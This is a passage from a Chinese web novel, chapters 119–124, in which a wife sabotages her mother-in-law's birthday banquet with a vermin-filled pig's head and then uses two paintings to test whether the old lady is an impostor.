“很好,你的事情我也听说了一些,知道你是个不过的姑娘,也很有能力。”岑青松看着杜明月微笑开口,言语间很是温和友善,让杜明月心中怪怪的。 杜明月能感觉到岑青松对自己没有任何敌意,但又似乎对他今日的态度很是不解。 按道理,岑青松应该很熟悉自己的两个妹妹,他今日都来了这里,难道分不清吗? 不可能分不清!杜明月心中猛然觉得,难不成段老夫人拿什么威胁他了? 是拿岑家相逼,还是…… 杜明月不知为何,突然将目光落在了自己身上的段骆岐身上。 事情会是和她想的一样吗? 杜明月望着段骆岐微微出神这一幕,落在岑青松眼里,却又是另外一番意思。在他看来,这是他们夫妻二人感情和睦的表现。 一想到这里,岑青松很是欣慰的道,“看到你们夫妻相敬如宾,举案齐眉的模样,舅父我很是欣慰。” “你们一定要好好过日子,不要管别人的想法,也不要随意听信别人的挑拨和怂恿。”岑青松语重心长的看向两人,杜明月不愿意听这话,只是黑着脸低下了头。 段骆岐见她如此,神色微微一愣,脸上的笑容也有些尴尬了。 岑青松见状,先是一愣,随后立马想起是怎么回事了。 “说起来,你做的那些腌臜事,我也有所耳闻,我看你应该好好反思,向你的夫人道歉!并保证以后绝不再犯!” 岑青松突然一脸严肃呵斥起段骆岐来,还将段骆岐吓了一跳。 “你当初为什么突然在外头养外室!是不是也有人撺掇你?如果是,你好好想想,到底对方为什么要这么做!” 岑青松说这些时,声音不大,但表情严肃,语气很重,像是在告诫,又好像是在提醒,甚至杜明月还听出了一丝恨铁不成钢的意味。 杜明月微微蹙眉,暗自思忖,他这番意有所指的话里,究竟又隐藏了什么秘密? 还没等她想明白,就听到岑青松继续劈头盖脸的骂着段骆岐,而段骆岐同样是一脸愣住,完全反应不过来的样子。 “总之,你要记住,只有你的正头夫人生的孩子才是侯府的孩子!别的都不算!” 岑青松说这话时十分激动,甚至胸膛有了明显的起伏。 杜明月也愣住了,没想到他会有如此强烈的情绪起伏,而且他刚才很明显重点强调了“正头夫人”这几个字,怕不是也是在暗示段骆岐什么。 或许是这些话的信息量太大,段骆岐一时无法理解,又或者段骆岐根本没有领会他话中的深意,只当成了一般的嘱咐与唠叨。 岑青松见他仍是一副无动于衷,并没有听明白的模样,只能深深叹了一口气又对段骆岐道,“今日我便先走了,之后若是得闲好好想想我今日的话吧。” 段骆岐又是一愣,不过见他已经要转身离开,也来不及想更多,急忙追上去,想要将他送出门。 然而岑青松却摆了摆手,用那双似是有千言万语,却又什么都无法说出口的眸子看向段骆岐,“不必送了,你好好给你母亲过寿吧。” 岑青松就这么离开了,杜明月下意识回眸。 当她将目光落在了不远处的段老夫人脸上时,段老夫人此刻的神情,让她感到意外。 她竟然在段老夫人的脸上看出了伤心的神色,而且段老夫人看着岑青松离去的背影十分出神,竟然没有注意到其他的目光。 说起其他人的目光,杜明月眸子微微一眯,带着几分探寻看向在座的众人。 从她一出现,她就感觉到了一股灼热的视线落在自己的脸上。 但因她刚才只顾着将注意力放在岑青松、段骆岐和段老夫人几人身上,便一直没有在意,现在也该好好找找那目光的源头了。 在座众人不少人都用惊艳的眼神打量着自己,杜明月也知道自己今日确实很美,但他们或喜爱、或欣赏、或羡慕、或嫉恨的目光都算不上浓烈,不是她要找的那道目光。 刚才那道向她射过来的目光实在太过炙热,让她无法忽视。 杜明月目光扫视了一圈,并没有注意到此刻将头低得很低,脸颊有些微微发烫的段骆霖,她见寻不到那道目光,便收回视线,将目光重新落在段老夫人的身上。 她现在其实已经能够确定,眼前的段老夫人一定是假的,可刚才来的岑青松明明什么都知道,却不肯拆穿,这里面一定还另有别的秘密。 同时,因为岑青松的出现,她更加好奇的是,看起来现在的段老夫人也没有和岑家人的关系很差,可到底为什么这么多年都不来往? 杜明月的思绪有些乱了,她决定今日暂时还是不要多想了,一切按计划进行即可。 于是她叹了口气,缓缓的坐了下来,她刚准备拿起桌上的热茶,不知道什么时候回到她身边坐下的段骆岐正在殷勤的给她夹菜。 “舅父刚才说了,让咱们好好过日子呢。”段骆岐一脸微笑,可在杜明月看来,却实在是恬不知耻。 杜明月顿时只觉得胃里一阵翻涌,他到底怎么好意思在自己面前说出这种话的! “哒”!杜明月微微蹙眉,将茶杯微微用力的放在了桌子上,发出的声响让段骆岐微微一愣,抬头看她。 第一百一十九章 献上猪头 “明月,你……”段骆岐望着杜明月那张绝美的脸,一时不知为何有些慌张,生怕杜明月又会和自己说些绝情的话。 就在杜明月确实准备开口时,柳楹莹突然带着两个孩子走到了段老夫人跟前。 杜明月眉头微挑,现在眼看着已经进行到贺寿送礼的环节了,那么她亲自准备的一场好戏也马上该登台了。 至于段骆岐,因为杜明月今日根本顾不上反驳他,反而让他心中更默默升起了一股莫名的信心。 他认定杜明月是真的打算和自己好好过日子,他也暗下决心,从此以后,定会好好的爱护杜明月,对她关怀备至,护她周全! “孙儿祝祖母福泽绵长,寿比南山!孙儿前几日听先生讲,松柏之茂,隆冬不衰,祖母定然如松柏,岁岁安康,屹立不倒,看着孙儿健康长大,报答您的恩情!” 段意川放开了嗓子,脆生生的声音让在座众人都能听得一清二楚,众人纷纷忍不住点头夸赞,段老夫人更是开心的合不拢嘴。 “好!好!赏!”段老夫人开怀大笑,让身边伺候的于嬷嬷过去给段意川一个精致的盒子,打开后是一片金叶子,段意川急忙跪下磕头,又说了一段感恩的话。 段老夫人脸上的笑意更胜,还让于嬷嬷赶紧过去将他扶起来。 在段意川之后,他的妹妹段意甜也学着他的模样,站在众人中间先是说了一大段贺词,之后又跪下给段老夫人磕头祝寿。 众宾客见她年纪比段意川还小,却能说出那么长一番贺词,更是觉得惊喜羡慕,让段老夫人脸上觉得很有光,也立马开心的大手一挥,刺下赏赐。 柳楹莹也说了一番祝贺的话,段老夫人在众人面前夸她教子有方,也给了赏赐。 待柳楹莹牵着两个孩子归座,早就在一旁蠢蠢欲动想要展示自己贺礼的春红按捺不住了,她一个快步上前,给段老夫人递出了一个精致的盒子。 “这是什么?”段老夫人好奇的问,给了身边于嬷嬷一个眼神,示意她接过来。 春红满脸微笑,十分得意道,“回老夫人,是妾身亲手绣的观音像。” 随着她的话音落下,于嬷嬷也打开了盒子,将一幅观音像展示在众人面前。 众宾客闻言也是吃惊,目光纷纷落在绣像上,毕竟这么观音像,一针一线的绣起来一定十分费时费力,如果真是亲手绣的,那一定很早之前就开始绣了。 宾客中不少人纷纷夸赞春红作为姨娘,此举诚心可嘉,段老夫人更是满意,也立马让于嬷嬷给了赏赐。 春红拿了赏赐,转头一脸骄傲的打量杜明月,那模样像是笃定杜明月拿不出像样的贺礼。 杜明月看懂了她的神色,她身边的段骆岐也看懂,还立马凑近了她几分小声道,“明月,你准备贺礼了吗?” 杜明月并不回答他的话,只是微微眯了眯眸子,不屑的看了眼春红,又转向段老夫人,危险的勾起了唇角。 段骆岐见她不说话,只当她是没有准备贺礼,立马小声安慰道,“算了,这次你没准备也没关系。我会护着你,绝不会让母亲说你的不是。” 他说完,还没有等杜明月反应过来,已经自顾自的站了起来,替她开口。 “母亲,明月这几日身体不太舒服,几乎也没怎么出门,她就是有心,也无力替你准备贺礼……” 段骆岐的话还没有说完,有些得意忘形的春红突然开口打断道,“那也就是没有准备咯?” 她的话音还未落下,段骆岐便狠狠地瞪了她一眼,眼神中满是警告和威胁,春红一愣,有些后知后觉的发现自己好像说错话了,她急忙闭了嘴,内心有些发颤。 就在此时,杜明月突然站了起来,打破了刚才略显尴尬的气氛,她微笑着开口道,“谁说我今日没有准备的?” 杜明月说着甚至离开了自己的座位,缓缓朝着段老夫人走去。 不知为何,她的眉眼虽然带笑,但让段老夫人莫名的感受到了一股危险,内心不免心惊的跳了两下,脸上的神色已经有些不自然了。 可是她再细看,又觉得杜明月好像没有这个意思,可能是自己想多了。 一想到这里,段老夫人又不满的皱起了眉头。 她果然还是不喜欢杜明月,要是杜明月能早点儿从这个家里滚出去就好了,这样她也不至于这么疑神疑鬼的。 “老夫人,今日这么重要的日子,自然是少不了我的贺礼的。”杜明月微笑着一拍手,身后立马有两个丫鬟抬了一个偌大的礼盒出来,那盒子都快赶上一个箱奁大小。 众宾客都很好奇的交头接耳,像是在猜测这里面装的到底是什么东西? 杜明月见状立马给红豆使了一个眼色,红豆点头上前一把抱住,仅凭一己之力并将偌大的礼盒放到了段老夫人面前的桌上,接着打开了盖子,一个大猪头赫然出现在众人面前。 众人的表情一下子都呆住了,段老夫人更是震惊的瞪大了眸子,那张已经长满皱纹的脸几乎是一瞬间就绿了。 段老夫人咬牙切齿的看向杜明月:这个小贱蹄子今日果然是来砸场子的! 就连在座的宾客们,也有明眼人觉察出了一丝不对劲的气氛。 “猪头,这是怎么回事?镇南侯府的少妇,竟然在自己婆母的生辰宴上送这么上不得台面的礼物?” “看来外界有传闻说婆媳关系不和,竟然是真的。” “还有这种传言?我怎么都不知道?你快跟我说说还有没有什么别的?” 杜明月听着这些声音微微的勾起了嘴角,段老夫人更是气的浑身颤抖,她张了张口正要发作,却被杜明月抢了先。 “婆母,您先别气,我是认真想要给您贺寿才送上这个猪头。”杜明月敛了敛眼底的笑,一本正经的解释了起来。 “往年您的生辰,我都会准备一份贺礼,但我觉得年年如此,没有什么新意,又觉得十分敷衍。于是今年苦思冥想了许久,才终于决定,要给您送上这么一份别出心裁的生辰礼物。” 第一百二十章 猪头臭了 杜明月指着猪头对段老夫人和在座众人道,“大家可别小看了这猪头,在民间祭天,用的都是猪头,这说明什么?这说明猪头可是祥瑞。” “而且这猪头代表的意义重大,可不是什么人都能随便用的。所以我拿猪头来给老夫人祝寿,就足以证明我恭祝老夫人生辰的用心是如此的真诚!对老夫人的尊重更是苍天可鉴!” 众宾客听着杜明月理直气壮的说着这话,虽然觉得哪里不对,但一时又反应不过来,甚至还有不少人认可杜明月的说法,真当她是尊重段老夫人才会给她送猪头。 而段老夫人见众宾客纷纷附和,几乎都是夸杜明月用心的,她心中恼火却也不好发作,只能咬碎了后槽牙,将心中的难受强压了下去,示意于嬷嬷也同样给她赏赐。 杜明月脸不红心不跳的收了赏赐,随意的往袖袋中一塞,转身就准备回到自己的座位上。 “等等!”段老夫人却突然皱眉叫住了她,指着眼前的大猪头道,“这个太大了,放在这里碍事,让你的丫鬟挪到一边去。” 段老夫人说着还忍不住用手捂了一下口鼻,面色不悦带着嫌弃嘟囔了一句,“一股臭味儿,也不知道放了几天!” 杜明月耳力好,将这话听的清清楚楚,却也不生气,反而朝着红豆挑了一下眉,让她按着老夫人说的做。 红豆二话不说的上前将盒子抱起放到了一边,但盖子并没有合上,转身离开前还忍不住偷偷勾了勾唇角,但立马又忍住了笑意,一副无事发生的样子,安静的回到了杜明月身边。 或许是猪头的臭味让段老夫人胃里一阵翻涌,犯起了恶心。又或许是她看不得杜明月在自己眼前如此得意和张扬,才让她心气儿不顺。 总之自从杜明月给她贺寿之后,她一直眉头微蹙,就连想笑都变得十分勉强,还时不时的一直用手抚着心口。 好不容易终于挨过了贺寿和送礼的环节,段老夫人看见众宾客们开心的动起了筷子,开始享受美食,不再把注意力都放在自己身上时,暗暗松了一口气。 这时,早就注意到她神色不对的段骆芙,很是担心她身体不舒服,于是急忙上前小声道,“母亲没事吧?” “没事!都是杜氏那个小贱蹄子给我气的!”段老夫人压着嗓子,用只有她们两人能听清的音量,恶狠狠的说着,“竟然敢给我送猪头,她就是不想让我这个生辰好好过。” “等着瞧好了,过了今日,我让你大哥立马休了她,把她赶出府里!” 段老夫人自己说的起劲,完全没有注意到段骆芙的脸色微微变了,有失落有沮丧有为难。 片刻后,等段老夫人终于说累了,段骆芙还是忍不住抬头,用哀求的语气对段老夫人道,“母亲,您不要这么想,我想今日大嫂一定是真心给你贺寿的。” “我倒觉得她说的很对,她如果真心想敷衍,那凭她的财力,什么样贵重的贺礼买不到,可是她没有这么做,反而是十分用心的打听了民间的喜好,这不正说明她重视您吗?” 段骆芙试图劝说段老夫人改变想法,“大哥最近也说了,他和大嫂的关系有缓和,两人很快就能重归于好,母亲您千万不要在大哥面前挑拨两人的关系了。” “你……”段老夫人没想到段骆芙会说这样的话,气呼呼的看着自己的女儿,竟然不和自己一条心,她真想站起来酣畅淋漓的将人骂一顿。 可她一想到今日的场合,到底是硬生生的忍住,语气里带着不悦道,“你先回去坐下吧,日后的事情日后再说!” 闻言,段骆芙猛地抬头看向段老夫人,眼底满是欣喜的光芒。 因段老夫人没有像以前一样反驳和训斥自己,段骆芙以为自己刚才的这番话,她真的听进去了,立马乖巧的点头,回到了自己的座位上。 就在段骆芙以为这件事就这么过去了,段府即将迎来新的和谐的明天,她为此感到高兴时,发现宾客席好像发生了骚动。 段骆芙抬头注意到,有好几个宾客离开了自己的座位,一脸慌张,还有不少人一脸疑惑和震惊的凑在一起,似乎在说着什么骇人的事。 她正疑惑的想起身前去问一下,突然听到另一边宾客席上发出了一声尖锐的爆鸣。 这一声凄厉的喊叫,骤然打破了生辰宴上和谐得氛围。 接着,又有此起彼伏的尖叫声响起,生辰宴上顿时变得乱糟糟,闹哄哄的,甚至有人完全不顾及自己的形象,跳上了桌子。 这样的情景让段老夫人也一下子惊呆了,她不知道到底发生了什么事,只能一脸惊慌的看向了于嬷嬷,“到底怎么回事!怎么了!” 于嬷嬷先是一愣,接着正要回答时,突然觉得好像有什么东西爬上了手背,接着低头一看,猛地三魂丢了七魄,也突然失声大喊了起来。 “啊!蟑螂!”于嬷嬷脸色苍白的奋力转着手,而段老夫人受到惊吓后立马站起来,远远的躲到桌子的另一侧。 此时她再低头,被眼前的景象吓得差点晕了过去,地上竟都是这不知道从哪里跑出来的蟑螂和虫子,甚至还有老鼠乱窜。 就在段老夫人以为自己会马上晕过去的时候,宾客席上又有人大喊。 “蛇!蛇!救命!” 身上已经撒过药粉,蛇虫属于完全不能近身的杜明月淡定的看着众人上蹿下跳,她身后的红豆也是一脸淡定,强忍着笑意看着眼前发生的这一切,就差大声的笑出来了。 坐在杜明月身边的段骆岐因为她的关系,身边也没有蛇虫鼠蚁近身。 他便又震惊又疑惑的看向了杜明月,一脸不解道,“这是怎么回事,这些东西怎么来的,而且好奇怪怎么不到这里来?” 段骆岐的问题很多,但杜明月一个都懒得回答,只是静静的看着眼前的这一切。 后来,不知道混乱的人群中谁喊了一声,段府的家丁们拿上捕蛇捕虫的工具出现,满后花园的抓这些东西,渐渐的,大家才终于安静了下来。 第一百二十一章 是不是你搞的鬼 众宾客们面对一片狼藉的生日宴现场,全都惊魂甫定,面有菜色。 杜明月看着这场面,心中冷笑,大概这些人来的时候不会想到,这顿饭竟然让他们吃的如此狼狈。 “这……”段老夫人此时在于嬷嬷的搀扶下,虽然站稳了身子,可面对打饭桌椅,菜饭扫了一地的场景,觉得眼前一黑,几乎马上又要晕过去了。 她的身形微微颤抖,感受到于嬷嬷努力支撑着她,咬了咬牙,强装镇定保持着清醒。 毕竟,今日她做东是寿星,确实不能就这么晕过去撒手不管,即便已经颜面扫地,还要强撑着善后,将镇南侯府的面子圆回来。 “大家别慌,今日闹出这样的事情,作为镇南侯府的老夫人,确实是我疏忽导致的。” 段老夫人脸上带着尴尬的笑容,对众人道,“我马上让下人们收拾干净,大家稍做休息,马上重新给大家上菜!” 虽然段老夫人已经努力的想要挽回众人,但众人脸上却看不到半点高兴的神色。 毕竟,他们开开心心的来拜寿,遇上这样的事情,还看了那么多恶心的东西,让他们马上再坐下开席,他们实在是没有那个胃口,也完全吃不下。 段老夫人见众人不说话,脸上的笑容也有些凝固了,场面瞬间变得十分的尴尬。 杜明月挑眉,她倒要看看今日这事儿,段家人准备怎么收场。 短暂的沉默后,有一位夫人携了自己的女儿上前,脸上尽量维持着客气的笑容。 “老夫人,小女身子弱,刚又受了些惊吓,实在是不舒服,我想带她去看看大夫,万一耽搁了,在这里晕倒也不好。” “……”段老夫人心里明知这是托词,可是张了张口,却一句挽留的话都说不出来,只能尴尬的点头微笑道,“好,是我段府招待不周,改日定然登门道歉。” 那夫人闻言心里高兴,也知她这话不过是客套,立马微笑维持着体面谢绝。 “老夫人说哪里的话,今日您是寿星,本该开开心心的,实在是我小女身体不争气,是我们的不是才对。” 她说完,立马转身就带着女儿快步离开,在座的众人见状,像是突然被点醒了一般,立马纷纷起身,一个接一个的找着借口要离席。 段老夫人无可奈何的看着众人一个个离去,脸上连虚伪的笑容都已经维持不住了,只能摆摆手同意了所有人的请求。 很快,原本还十分热闹的生辰宴顿时变得冷冷清清,只剩一地的狼藉。 宾客席上已经不见一人,只剩段家人面如菜色,一脸不悦的走上前来。 段老夫人见外人全都离开了,也不再继续维持自己的体面,气的坐下来便将桌上全部的碗盘全部扫落在地。 段骆芙被她的举动吓了一跳,正要上前,却被段骆岐拦住,朝着她默默的摇了摇头。 段骆霖略一四村,缓缓上前道,“母亲,要不今日就先回屋休息吧。” 本来满面怒容,似是随时会火山爆发的段老夫人见是段骆霖上前安慰自己,神色缓和了不少,语气也温和了,“霖儿,母亲没事!” 杜明月瞧着两人的对话,又看向很有自知之明没有上前的段骆岐,心想原来他也知道,在段老夫人心中,他的分量远没有段骆霖来的重,也没有段骆霖更讨她的欢心。 想到这里,杜明月不禁冷冷勾唇,心里想着,也不知道日后段骆岐发现真相,再回想起这些时会是什么心情。 她正想着,就听到段老夫人道,“今日这件事必须彻查!要是被我知道到底是谁在捣鬼,我绝不轻饶!” 段老夫人说着,还狠狠的拍了下桌子。 段骆岐立马站出来主动将责任揽到自己身上道,“母亲,你放心,我一定会查清楚的。” 段骆岐的突然出现,倒像是突然提醒了段老夫人,让她想起了什么,她突然把阴恻恻打量的目光落在了杜明月的身上。 她猛地抬手朝着杜明月一指道,“你说!是不是你搞的鬼!我就知道你这个贱蹄子不安好心,早知道应该把你关起来!” 杜明月闻言,甚至懒得接她的话,只是目光不屑冷冷的看了她一眼。 段老夫人见她态度如此轻慢,完全不将自己放在眼里,恼羞成怒的朝着她冲过来,正要冲着她指指点点,却被段骆霖一把拦住了。 段骆岐也挡在杜明月身前,安抚劝说段老夫人道,“母亲,你不要这样,这件事我会查清楚给你一个交代的,不要再这样不明不白的冤枉明月了。” 站在他身前的段骆霖闻言,默默的抿唇,垂眸眼底那一闪而过晦暗不明的情绪。 “你!你竟然护着她!”段老夫人气得瞪眼,直接指着段骆岐骂了起来,“我以前都是怎么教你的,你忘记你马上就要和她和离了?你竟然还护着她,你怎么这么蠢!” 段骆岐不悦的微微蹙眉,看向段老夫人的眼神中透着一股无奈,他叹了口气道,“母亲,不要再说这件事了,我说过今日的事,我会查!” 段老夫人见段骆岐竟然这个态度和自己说话,更加认为杜明月是个狐媚子,今日定然是故意打扮要勾走段骆岐的魂。 “好!你查!那你就先从她送的猪头开始查!”段老夫人破口大骂,只是这话一说出口,自己都愣住了。 “对啊,你马上去查她送的东西!”段老夫人眼睛都亮了起来,她笃定杜明月送的东西一定有问题。 她得意的看向杜明月,以为杜明月会害怕,但没想到她不仅不害怕,脸上竟然还有一丝看戏的模样。 段老夫人更气了,又准备开口说什么,却被杜明月抢了先。 “侯爷,老夫人说的对,查吧,我不怕查。”杜明月挑眉,她不仅不怕查,还希望快点查,不然她接下来的戏还不好唱呢。 段骆岐等人见杜明月也是这强硬的态度,没办法只能点点头,然而还没等他开口,段老夫人又像是不信任他似的,转头对身旁的于嬷嬷道,“你去查,有任何不对,立马来禀报我!” 第一百二十二章 画被咬了 “是,老夫人放心,奴婢绝对会仔细搜查的。”于嬷嬷领命而去。 于嬷嬷去查看猪头时,众人都是一脸紧张的神色,唯有杜明月一脸轻松,一副好像事不关己的模样。 就在段骆岐有些紧张的朝着于嬷嬷的方向看去时,突然听到于嬷嬷发出了一声惨叫,接着跳了起来,退的远远的。 “虫子!好多虫子!”于嬷嬷说完,立马叫了小厮用棍子将那猪头给掀开,只见底下还藏着一些没来得及跑远的蟑螂、虫子以及一只死老鼠,和一条蛇。 于嬷嬷又吓得大叫了起来,就在段老夫人准备不悦的制止她时,于嬷嬷又大叫了起来,让身旁的小厮把里面一包白布包着的东西拿了出来。 小厮拿出来打开一看,“老夫人,这是防虫药,不过看样子是失了药性,不奏效了。” 段老夫人还未反应过来,就见杜明月情绪激动的动起怒来了。 “什么!那奸商竟然给我放失效的防虫药!那今日的这些脏东西难不成真是从这里跑出去的!气死我了!那奸商怎么害我!” 杜明月一边说着一边转头给了红豆一个眼色,“红豆,你快回摘月居看看,这猪头和我那些珍贵的字画放在一起,万一被这些蛇虫鼠蚁毁了就糟了!” 红豆明白她的意思,也立马做出一副紧张担忧的样子,转身就跑了。 段老夫人看着杜明月发作完,才终于慢慢的反应过来,她恼怒的瞪圆了眼睛,指着杜明月道,“果然是你!” 杜明月撇嘴,一副一脸歉意却无可奈何的模样道,“老夫人,我也没想过会变成这样,我是真心给你祝寿的,都是那奸商骗了我!” “你放屁!”段老夫人被她的巧言令色气的完全没有了侯府老夫人的气度,浑身颤抖的伸出手指道,“你这个贱人!果然是你故意搞砸今日的生辰宴!” “来人!上家法!”段老夫人迫不及待的大吼,原以为马上就能看到杜明月求饶受罚的场景,却没想到自己的儿女竟都纷纷出面阻拦自己。 “母亲!不要!” 段骆霖、段骆芙以及段骆岐三人几乎异口同声的上前一步。 段老夫人不可置信的回头看向他们,恼怒的眼神如刀子一般扫过他们每一个人。 “事实都已经摆在眼前了,难不成你们还要替她说话?” 段老夫人说着,走向段骆岐道,“你忘了你刚才是怎么说的了?现在她自己都承认了,你还不给赶紧给她上家法,在等什么!” 她见段骆岐竟然还不动,怒极反笑道,“怎么?还在等霖儿给你递鞭子?你又不是没给她上过家法,在这里磨磨蹭蹭的做什么!” 她不知道她这话让段骆岐和段骆霖的内心同时为之一震,只感觉内心某处传来一震钝痛。 此时他们才想起,是啊,曾经他们都做过那样绝情的事情,那些过去的事情如同一根立在他们心里的刺,每被提起一次,就会又痛一次。 “母亲,不知者不怪,今日的事情明月不是故意的,事已至此,大家都是一家人,何必闹得这么难看。”段骆岐硬着头皮劝说。 段骆霖也急忙道,“大哥说的对,反正今日这事找到源头就好了,大嫂也说了,是奸商害了她,找到那奸商就是了,何必跟大嫂过不去。” 段骆芙见两个哥哥都护着杜明月,心中暗暗松了口气,凑到杜明月身边小声的问道,“大嫂,你到底是在哪里碰见的奸商啊?大哥他们帮你把人抓回来,这件事就算结了。” 杜明月闻言,还真的做出一副认真思索的模样,“我倒是也想找到他替我证明清白,可是他只是个走街串巷的肉贩子,我都不记得他长什么样子了……” 杜明月的话让在场众人又是一噎,段老夫人气得直接咆哮了起来。 “我看你就是故意的!什么走街串巷的肉贩,我看根本就是你凭空捏造的!”她说着又转头看向段骆岐和段骆霖,“你们清醒一点!还不上家法吗!” 段老夫人见两人竟然还是一动不动,只感觉一阵气血上涌,她差点又要两眼一黑晕过去了,好在段骆芙急忙扶住了她。 段老夫人呼吸变得粗重,大喘气很是虚弱的指着杜明月恶狠狠警告道,“别得意,别以为他们是在护着你,不过是不想这么好的日子见血罢了,等着瞧,我一定把你赶出去!” 杜明月挑眉,她巴不得呢! 就在此时,抱着一副话惊慌失措赶来的红豆打破了僵局。 “主子!主子!糟了!画真的被咬坏了!这可是你最宝贝的画!”红豆说完,急忙将画递给杜明月。 杜明月急忙接过去,也一脸紧张的模样,顺手还直接将画打开了,让上面的图画出现在众人面前。 “真被咬坏了,这么好的画,可惜了。”杜明月眉头微蹙,目光认真检查着画作,当真一脸惋惜的模样。 “老夫人,”杜明月突然抬头,正在看画的众人也跟着抬头,“这画被虫子咬坏了,修画的钱,得从府里的账上出,你得给我!” 听到这话的段老夫人也忘记追究她的责任了,而是黑着脸,下意思的拒绝道,“是你自己买的猪头招来了这些脏东西!凭什么要我掏钱给你修!做什么梦呢!” 杜明月却故意拿着画送到她面前,一脸认真和无辜的道,“可是我买猪头是为了给老夫人你祝寿啊,要不是为了今日生辰,我又怎么会买买猪头呢?这事儿根源可不就出在老夫人你过生辰上吗?” 面对杜明月的伶牙俐齿,段老夫人气的牙根痒痒,她觉得杜明月这样强词夺理,就是故意在气自己,但奈何她还真的被气到了。 她甚至越来越觉得,杜明月迟迟不肯拿了和离书离开,怕不是就为了气死自己! 段老夫人见不得杜明月将那画推得离自己这么近,皱着眉头,满脸不悦的猛地推开她的手。 “什么破画!少拿来污了我的眼睛!”段老夫人不屑嘲讽道,“也不知道你是从哪儿弄来的,怕不是一开始就是破的,要骗我的钱吧!” 第一百二十三章 又耍什么花招 “您在说什么?这怎么会是破画呢?”杜明月一愣,一脸无辜和惊讶的看向段老夫人,眸中还带着很明显的困惑和不解,故意让人一眼就能读出她的情绪。 “您不认识这画了?这可是您亲手画的啊?”杜明月惊呼,眸子转向段老夫人,悠悠的看着她。 段老夫人听了这话,一愣,整个人犹如被五雷轰顶一般,几乎用尽了所有的理智,才让自己没有止不住的颤抖起来。 “你……你说什么?”段老夫人维持着最后的冷静,双唇颤抖的开口,“这是……” 杜明月挑眉,唇角带着微笑,段老夫人内心一抖,只感觉到了一丝莫名的微笑,好像要被杜明月洞穿一般。 她心里一慌,立马改口道,“对,对,对,这画可不就是我年轻时画的,是我年纪大了,竟然都不认得自己的画了。我看看,我看看……” 段老夫人一边尴尬的笑着,一边急忙将那画抢到自己手里仔细的看着,她可不想再被杜明月钻了什么空子。 杜明月微笑着看她全身紧绷,一双手紧紧攥着画幅的模样,心里想着她现在心里肯定慌死了,不然怎么会忘记追究自己买猪头的罪过了。 段老夫人的身份果然有问题! 杜明月心中更加确定了这个事实,她上前一步,现在认真看画的段老夫人身边,用怀疑试探的语气问道,“老夫人,你真的确定这幅画是你亲自画的?” 她话音未落,就被段老夫人呵斥了,“当然了!我都说了是因为时隔太久我不记得了,现在这么仔细一看正是我亲手所画!” “哦~原来是这样啊。”杜明月做出一副恍然大悟若有所思的模样。 站在一旁的段骆岐、段骆霖和段骆芙等人,虽然听不懂两人你来我往的对话,脸上也都露出了几分诧异的神色。 对段骆霖和段骆芙而言,他们从未见过段老夫人画画,更是对她擅长作画这事儿听都没听过。 而段骆岐此刻心中的感受,却又与他们完全不同,段骆岐的眸色深了深,他似乎想起年幼时记忆中确有母亲作画的身影。 他也曾好奇过母亲为什么后来不画了,但母亲从未主动提起,他也没有开口追问,慢慢将这件事抛之脑后了,没想到今日竟然会因着这话忆起了一些儿时模糊的记忆。 就在所有段家人都以为这画真是段老夫人所画时,杜明月又突然伸手指向了字画中的印象,“哎?老夫人这不是你的画吧?这印章上刻的可是青涯山人?不是老夫人你雅号吧?” 段老夫人闻言,如同被一记重锤砸在胸口,感觉胸口痛得无法呼吸,仿佛下一秒就能吐出一口鲜血来。 她猛地抬头狠狠的瞪向杜明月,攥着自己的手更加用力,好像她手中抓的不是字画,而是杜明月的脖子,恨不能再用些力气将杜明月当场掐死! 她越来越肯定,杜明月就是在故意刁难戏耍自己,她咬着牙刚想发作,目光不经意的瞥想一旁的段骆岐,整个人突然警醒了过来,理智也回笼了。 她不能在此时和杜明月吵起来,万一杜明月真的知道点什么,争吵中说漏嘴被段骆岐听了去,那她这么多年忍辱负重的筹谋可就毁于一旦了。 一想到这里,段老夫人用更加阴毒的眼神看向杜明月。 该死的杜明月,你到底知道多少!你究竟是真的知道点什么,故意在试探我,还是只是单纯在挑衅我! 段老夫人胸口急促的起伏着,她的内心此刻备受折磨,却也不敢再轻易开口了。 此刻,段老夫人简直恨不得立马将杜明月吊起来严刑拷打,让她也不用和离了,直接死在府里,这么一来,不仅能保守住自己的秘密,还能给府里留下用不完的金银财宝。 但她自己内心也很清楚,这些也只限于想想,杜明月的娘家富可敌国,她自己又有大量的财产傍身,如果真闹出人命,镇南侯府怕是要彻底没了,她多年的心血也就付之一炬。 她还不会蠢到为一个杜明月,坏了她全然的计划。 段老夫人将思绪拉回眼前,她不知道杜明月到底留了多少后手,此刻只会说多错多,还不如就安静闭嘴看看杜明月到底想干什么。 杜明月像是看穿了她的心思,面上虽然不显,但目光却明显犀利了许多,她直接上前,还没等段老夫人反应过来,已经将画抢了过来,直接撕碎了。 “大嫂!”段骆芙一惊,想要上前阻止,已经来不及了,她眼睁睁的看着撕碎的画幅掉在地上,发出一声闷响。 段骆岐和段骆霖也被杜明月的做法震惊到了,两人刚想说什么,就听杜明月一本正经的开口道,“红豆,你去将我屋里的那幅画拿来。” 红豆闻言,立马转身就去了,段老夫人几乎要将一口银牙咬碎,恶狠狠的看着杜明月,不知道她又要耍什么花招! “老夫人,既然这画不是你画的,一副破画确实也不值得拿去修,直接扔掉就是了。” 杜明月微微勾唇,段老夫人将自己颤抖的手藏在衣袖中,狠狠的瞪着她。 不一会,红豆一路小跑回来了,将手中的画幅交到了杜明月的手上。 杜明月在众人目光注视下打开,展现在众人面前的是一副荷花图,意境柔美飘逸,让人眼前一亮。 段老夫人心虚的抬眸,见杜明月正眼含微笑的看向自己,她只能紧抿起嘴唇,不敢第一个开口,生怕这又是杜明月给自己挖的坑。 这次,杜明月倒也不和她废话,直接指着画作旁边的印章道,“老夫人,这海棠居士的印章你不记得了?” 她说完微微一顿,目光灼灼的盯着段老夫人,在场其他人也纷纷好奇的看向段老夫人。 段老夫人将嘴唇抿的更紧了,心中早已将杜明月骂成了筛子:杜明月这个贱人,说话果然又说一半留一半,故意在试探自己给自己挖坑! 杜明月见她回答不上来,立马装作一脸惊讶的道,“老夫人竟然连自己的雅号都不记得了?” 第一百二十四章 装晕脱身 杜明月几次三番的戏弄和试探,已经将段老夫人的耐心都消磨殆尽了。 段老夫人甚至可以确信,杜明月是真的知道点什么,因此她现在听杜明月说话,简直如同惊弓之鸟,但凡有个风吹草动,她都能惴惴不安,惶惶不可终日。 “你……”段老夫人面色惨白犹豫着正要开口,猛然惊觉,杜明月说不定还是在拿假的东西骗自己,想让她自乱阵脚。 这么一想,段老夫人三角眼微眯,心一横闭上眼睛,直直的往后倒去。 好在身后的于嬷嬷十分忠心,果真又立马接住了自己,装作的段老夫人满意的听到段骆岐等人也都着急的冲了上来。 